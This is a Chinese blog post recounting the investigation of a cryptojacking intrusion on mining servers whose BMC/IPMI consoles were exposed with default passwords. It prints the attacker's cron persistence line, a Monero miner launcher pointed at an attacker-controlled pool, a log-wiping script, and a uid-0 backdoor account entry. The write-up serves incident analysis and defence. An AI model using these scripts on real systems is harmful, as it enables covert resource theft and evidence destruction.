IPFS技术 | 挖矿与黑客

IPFS技术 | 挖矿与黑客

引子

安全这个东西,在没有事情发生的时候,基本不会有人愿意为它付费;当发生事情且严重影响到企业利益的时候,才会亡羊补牢。几年前端 CSDN密码泄露,估计大多数程序员都会中招;最近华住的资料泄露,吸引了不少目光,对于华住品牌的负面影响应当不小。当然,对于住不起星级酒店天天住海友汉庭的苦逼程序员来说,在这两次泄露事件中都中招。幸好以前在CSDN上面只问技术问题没有勾搭为数不多的程序员妹子,在汉庭的时候也是坐在床上或者蹲在马桶上写代码,没有偷偷摸摸开房,不然问题就大了。顺便说一下,亲身体验,星级酒店写代码的感觉其实没有在汉庭好。

如果是挖矿,网络安全问题带来的后果更严重,因为辛辛苦苦投入的设备、人力,经历了熊市的蛰伏,好不容易看到一丝曙光,最后换来的是给别人打工。当然,这个问题见仁见智了,肯定有很多人说这个太夸张了,是危言耸听。

唉,空谈误国。算了,按照老习惯,不谈形势,不谈理想,只讲亲身经历的案例吧。

背景

IPFS很火,虽然Filecoin不能开挖,但也有许多人准备组建小规模矿场。可能是眼红了前两年比特币的涨势,在实体经济不如人意的情况下,找点自救的路线。江南的某市,一个喜欢折腾的具有创新精神的小作坊老板,QQ昵称以A开头,姑且就叫他小A。他准备在自己的仓库里搞十台机器开挖。他之前也挖过比特币、以太币,觉得投入产出比太低。Filecoin既然大家都说好,那就试试吧。但硬盘并不便宜,投入这么大,也不是很舍得。怎么办?自己已经从爱到游戏的少年进化为业余热爱IT的青年,那就自给自足,网上淘二手货。

机缘巧合,和小A加了好友。网上聊了许久,他也咨询过我一些技术问题。虽然觉得他不会买真正成品的矿机,但因为其对技术一本正经的热爱,我也乐于回答问题。后来得知他买了10台的二手SuperMicro服务器,顺搭买了一些二手的硬盘。我问:“你用它挖Filecoin?不怕盘坏?”答曰:“便宜啊,一台才万把块钱,加在一起十来万而已。”我又问:”主网上线推迟,你就放在这里?“他发来一个笑脸,随即又说:”亏本的买卖不做。这个二手服务器,别看便宜,但性能强大。双路E5,用的是最具性价比的2670。DDR4内存贼贵,这个用DDR3,慢不到哪去。挖不了filecoin,那可以挖Burst,挖Storj,挖门罗。”他也很会折腾,自己装了Linux,按照教程装了好几个不需要依赖于GPU的挖矿程序。其中,也一步步编译了门罗币的挖矿程序,加入矿池进行挖矿。

过了一个月,我问他收益如何。他说Burst太垃圾,Storj没有数据,门罗还在挖着呢,似乎能跑赢电费。但挖得也不多,最近也比较忙,所以也没有怎么查看收益了。不过在我问这个问题之后,他登录了系统,看了一眼,截了一些图给我。同时说了一句:一台台查看,太麻烦了,还是你们的系统有集中管理好一点。

看了他发的截图,是ssh运行top的结果。他说,门罗币特别耗费CPU,当然,这个机器是拿来挖filecoin的,他也不想再折腾加GPU什么的,就先跑着吧。收益如何,他不是很想看,因为看一次就失望一次。每次看到这个CPU的利用率,每个核心都是100%,他反而觉得特别踏实——门罗币挖矿程序在挖矿呢。

异常进程

他发top截图给我的意图也许是展示自己有一定的Linux操作能力。但我却发现了一个异样的地方。大部分截图,都是以xmr开头的进程占据了CPU,但有一幅截图,显示的却是minerd耗光了资源。我把这个告诉了他。

过了一会儿,他说:“还真有这回事,以前注意过minerd这个名字。miner嘛,顾名思义就是挖矿程序,所以也没有特别在意。”接着,又补充了一句,难道这个有问题吗?

当我确认所有的机器都是他自己按照网上教程编译的程序之后,每台机器的步骤一模一样时,就告诉他这肯定有问题。“你不会自己单单在一台机器上面修改程序的名字,且你也不知道怎么修改。如果信得过我的话,让我远程连连看。”他爽快地答应了。

登录运行minerd的机器,用ps查看了一下进程,看了看minerd的参数:

minerd -a xmr-v8 --host http://xmr.pool.org --port 3333 --user 4JUd****** 

我问:“http://xmr.pool.org是一个矿池吗?你加入了这个矿池吗?”

他答:“哎呀,好像不对。我加入的是鱼池。好像是xmr.f2pool.com。”

“不好,你被黑了。”

“哥们,你开玩笑吧?怎么可能呢?我虽然是菜鸟,但没有用123456等弱密码啊。而且,我的机器都是连着路由器的,没有直接暴露给公网。”

被黑的原因成千上万,没有人能够百分之百的预防。当务之急是先赶紧处理,再找原因。通过小A 提供的远程桌面,我连到了10台机器上面,发现有3台都跑了这个minerd。立马把minerd给kill掉。但几分钟之后,它就又起来了。找到minerd所在的路径,把它拷贝一份到安全路径下,然后把原始的程序删除。计算minerd的SHA1/SHA256和MD5值,Google一下,没有找到任何记录。

minerd自动起来一般是定时任务所致。发现/etc/crontab里面有这行配置:

*/5 * * * * root /usr/sbin/monero

这表明每5分钟就要运行一下这个/usr/sbin/monero这个程序。显然这有大大的问题。打开/usr/sbin/monero,发现是一个简单的bash脚本:

if [ "`date +%H`" -eq 10 ] && [ "`date +%M`" -eq 30 ];then
  pkill minerd
fi
cd `dirname $0`
if [ "`ps ax | grep minerd -c`" -gt "1" ];then
 exit
fi
if [ "`ps ax | grep minerd -c`" -gt "1" ];then
 exit
fi
sysctl -w vm.nr_hugepages=1000
# 作者注:user的钱包地址在这里就不贴出来了
nice -9  minerd -a xmr-v8 --host xmr.pool.org --port 3333 --user 4JUd**** --pass x -t $((`cat /proc/cpuinfo | grep processor -c`/2)) 1>&- 2>&- &

脚本很简单,如果发现系统没有跑minerd,就把它跑起来。从参数分析,这个显然也是挖门罗币的,只是钱包地址被替换成了黑客的地址。

至于这个xmr.pool.org,其实是作者自己定义的一个域名。在/etc/hosts里面可以看有一条添加上去的DNS记录,对应的是217开头的一个IP地址。查询了一下,该地址位于俄罗斯境内。

小A赶紧发话:“快删除它!妈的,帮人干了这么多天的活!”

不过,黑客究竟是怎样入侵系统的呢?系统里是否还有其他痕迹呢?

日志分析

如果定位不了黑客入侵的方法,我相信挖矿程序还会被跑起来。所以我只能变身为一个侦探,帮忙看看这个问题了。

按惯例是先查找日志。/var/log/messages没有相关的记录。较老的messages文件(文件名带时间戳被归档的文件)也没有什么异常,但messages的第一条记录,其时间戳和之前归档的messages文件的最后一条记录,有较长的时间间隔(超过三天)。很显然有人动过手脚。

再查查其他日志,除了和messages类似的现象(有几天没有任何记录),没有其他发现。history命令也看不到异常的信息。

小A看我查了一堆日志,似乎也没有特别的收获,显得很焦急。“他把痕迹都清空了。没有其他办法了吗?”

“不知道是古龙说的,还是古龙巨说的,行走江湖,总会留下点痕迹的。别着急。再看看。“

文件修改时间

对于操作系统来说,文件的创建/修改时间也是分析问题的着力点。没有人会直接用代码去写硬盘——既然经过文件系统,那得怪怪听文件系统的指令办事。

于是,我查看了前面找到的有问题的文件(/etc/crontab、/etc/hosts等)的修改时间。定位到问题时间点为十几天前的下午3点。就这个时间点,对机器的文件进行了一次全盘检索,看那个时间点还有什么文件被动过。这一搜索,还颇有收获。其中发现了一个关键的文件,叫做/usr/src/exit,从名字看,似乎是和退出相关的。打开发现也是一个脚本,内容如下:

history -c

rm -f ~/.bash_history
rm -fR /home/support

rm -f /var/log/secure
rm -f /var/log/auto.log*
rm -f /var/log/secure
rm -f /var/log/audit/audit.log
rm -f ~/.*
rm -f /var/log/lastlog
echo -n > /var/log/messages
rm -f /tmp/tmp3*


kill -9 $$

全是清除历史记录的操作,包括命令记录,以及一些关键的日志文件。是说怎么日志不能直接查到记录呢。之前发现日志中丢失了好几天的内容,也得到了完美的诠释。

小A发来一个大拇指但只要入侵了系统,就会有蛛丝马迹。文件的修改时间戳就是蛛丝马迹。

这哥们有点郁闷,每天看到CPU跑得满满的,以为生活很充实,想不到是用自己的电为别人服务。他又说,不太可能啊,我的密码强度很大的,十几位,字母大小写和数字都有,他肯定猜不出来。难道我一定要用ssh密钥登录?

我又发了一个笑脸。网上聊天,如果不发笑脸,就感觉不舒服。可能我犯了笑脸综合症。我说,为什么你要用“他”?很可能是一个俄罗斯女黑客,继承前苏联女特工的种种本领,但生活窘迫,想通过挖门罗币来挣点可怜的学费。

他让我不要取笑他了。同时让我找找,别人是怎么入侵的,应该怎么防范。

多出来的用户

对应时刻的文件我都查找了一遍了。我也用了一些漏洞扫描工具对它的系统做了扫描。有一些无关痛痒的小问题,理论上不足以造成入侵。

于是,我又一次检查之前看到的异常脚本。虽然脚本已经删除,但我把文件单独备份了,以便于进一步分析。这次发现在/usr/src/exit中,有这么一句话:

rm -fR /home/support

这个不是日志目录。为什么要删除它呢?等等,这个在/home下面,那按照常理,应该有一个support的用户。于是,我打开了/etc/passwd,发现果然多了一条记录:

support:x:0:0::/home/support:/bin/bash

再打开和密码相关的文件/etc/shadow,发现果然有support用户的加密口令记录。看来黑客是通过support用户来登录ssh的。

小A问:为什么黑客要自己创建一个用户?不通过root来登录?

我答:可能他并不知道root密码。

他问:那他可以修改啊。

我答:修改了你不是马上就发现了吗?那他挖的币就少了。

彻底删除这个support用户。为了安全起见,我让他还是把全部密码都修改了一遍。同时让他再想想,有没有做过什么特别的操作,尤其是其中的三台机器。

一丝疑惑

过了一会儿,小A说:“感谢,实在不好意思,让我费心了。今天生意不好,早点回家休息了。机器肯定得继续开着吧,以后得多留意一点了。回到家里面,也得时不时连线看一下。”

我突然有了警觉。不是没有把机器暴露在公网吗?机器既然放在他仓库的货架上,那回家怎么看?用Teamviewer?

他也发了一个笑脸:“这个还不简单?路由器配置端口转发啊。把一个节点的ssh端口转发出去。虽然我不会编程,不太懂这些软件的原理,但这类基本操作,是没有问题的。密码我是特意设置的,没有用我的常用密码,且强度足够。”

既然有端口转发,那机器一定程度就暴露在公网中了。并不是机器本身没有公网IP就安全。我又追问:“转发了其他端口吗?”

他想了想,说:“除了SSH,好像我也不需要用其他端口来控制了。应该没有吧。”

姑且相信他的话。我又提醒他,是否有内鬼。他怒道,怎么可能,只有一个打杂的小姑娘,难道是她?

他断掉远程桌面之前,我简单把排查的过程发给了他,经过他的允许,把相关脚本拷贝出来。我告诉他每次远程连接,我们都会做一条记录,不做不该做的事情。这是职业操守,也是在圈子里面混的本钱。

真相大白:意想不到的入口

过了几个小时,小A又发了一条消息。说那几个有问题的节点,他自己不放心,怕清理得不干净,所以准备把系统都重装一下。但网速不好,ISO镜像传过去都花了好久。叹道,自己DIY并不轻松,也许用现成的系统会更好。

我有点吃:“等等?重装?你不是回家了吗?”

“哎呀,你这个不明白了,我用IPMI啊,远程就可以控制BIOS,安装系统。你是搞这块的,不会没有听说过吧?服务器主板都带有这个,那个芯片好像叫做BM。市面上那些便宜的矿机,是不可能带这个东西的,哈哈,买二手的就是赚。”

“BMC,不是BM,更不是ByteMaster。”

“哦,对。有这玩意儿,远程控制更轻松。”

“但……我的意思是,你在家里怎么重装?远程控制IPMI?网络不通啊!”

“我做端口映射啊!BMC不是有专门的IP吗?BIOS里面配置配置就可以啦。能通过浏览器访问,再在路由器上面做端口映射出来。这有问题吗?”

“你啥时做的映射?”

“一个月前。”

“映射了几台机器?”

“全部。”

“啊?????“我傻眼了。再一问,他把一台机器的BMC web管理端口,通过公网IP的443转发出来。又把其他几台机器的BMC web端口转发出来,端口号从444开始,以此类推。

我觉得似乎已经找到问题的真相了。又请求他的远程连接,我上去看一眼。浏览器访问BMC管理界面,其JAVA版本 KVM Console的界面,都停留在控制台输入密码的地方。

“除了重装的三台机器,其他机器,最近一个月,有关过机,有停过电吗?”

“当然没有了。收益再小,挖矿也不能停。我对矿工这个业余爱好还是有信仰的。”

我沉默了一下。“你用IPMI登录过shell吗?”

”让我想一想……哦,好像有过,似乎有几台网络配置有点问题,ssh连不上,就通过IPMI登录过。”

“一共几台?”

“忘了。可能两台,可能三台……也许三台。”

我能感到空气在凝固。他似乎也觉察到了不对。

我又试探性地问了一句不想问但不得不问的话:“BMC的Web管理界面,你有修改默认密码?”

“这个……这个需要修改吗?”

”难道你只认为root用户才需要修改密码?都通过公网转发了,不修改默认密码的结果,你是知道的。这样,他能用IPMI的方式通过BMC轻易进来,相当于他的键盘和显示器直接连在你的机器上面,且你帮他主动输入了密码。做个啥,还不容易?“

”哦……“也许他已经恍然大悟了。事实的真相基本已经被揭露。

”还有两个问题。世界上这么多IP,他怎么偏偏连我的IP,还知道我有BMC,还知道我没有修改密码?哪有那么巧的事情!为什么不改BMC的密码,为什么不改root用户的密码?改了岂不是彻底控制了我的机器!“

我叹了一口气。”第一,还真有人那么无聊。IP一个一个地扫,端口一个一个地扫。但没有人傻到会手动做这个事情。他们一定会用程序来自动做。通过连接端口,http请求的返回结果,能通过程序轻松地猜到是什么服务。至于服务器主板,主要就是那几家公司在生产,所以默认密码是很容易知道的。一台电脑,就可以干许多意想不到的事情,还不容易被发现,因此,每天网络上面都有大量进行试探性连接的数据包。也许华尔街的金融IT高手没有机会扫到你的机器,但在圣彼得堡读书的一个学生,会碰巧发现你。“

”第二,很明显,这个人只是想用你的计算资源挖矿,本身对你的隐私数据不感兴趣。修改了密码,反而你会更容易发现问题,仔细一排查,重装了系统,刷了固件,那他的利益也会受到影响。“

他恍然大悟。于是,他把BMC的密码赶紧修改,同时把相关端口映射也禁掉了。

后记

之后小A暂时没有遇到新问题。他只是感慨,挖矿收益不高,自己十台机器也挣不了多少钱,看来只能等Filecoin了。同时又说黑客一下子控制上千台机器,积少成多,赚得肯定是盆满钵满。自己也想学点编程,跑到圣彼得堡把那个黑客追踪到,如果是个男的就揍一顿,如果是个女的就娶回来,拿自己做小生意赚的钱来养她。

他总是说不好意思,干脆转两个XMR给我。我说算了。后来他看到了我的专栏,说内容太少,也没有啥干货,看我上次追查问题挺有意思,让我写出来,吸引一下读者,增加一下流量。我说过于技术化,最多多两三个关注者而已。当然,他的要求是,不要说他是做什么职业的。作坊虽小,但具体干活的内容还是保密。

其实类似的问题排查还很多,BMC导致的问题也有好几次。其实,很多攻击也用不到类似心脏滴血的漏洞,往往就源于一些非常简单的原因——大多是用户的设置,比如不修改默认密码。比如:

[root@prstorage~]$netstat -anp | grep EST
tcp        0     52 10.1.1.15:22              10.1.1.106:61527            ESTABLISHED 4645/sshd           
tcp        0      0 10.1.1.15:60693           61.***.***.***:2922          ESTABLISHED 2385/netstat -an 

netstat查看网络连接状态,似乎没有啥问题,除了内部的一个ssh连接,一切都正常。等等,怎么还有一个netstat进程的连接呢?再运行netstat,还有,连接仍然是那个连接。揉揉眼睛,发现这个netstat压根不是我们自己运行的netstat。

就此打住。再讲就讲不完了。因为都是商业存储客户,所以细节都不便透露,更不能写成口水文章来骗点击了。只能总结一下,什么样的错误应该避免,遇到了问题,应该怎么排查。

作为区块链信息平台,本站所发布文章仅代表作者个人观点,与中文资讯网(www.ipfsnews.cn)立场无关。

文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。

如若转载,请注明出处:https://www.ipfsnews.cn/2777.html

发表评论

登录后才能评论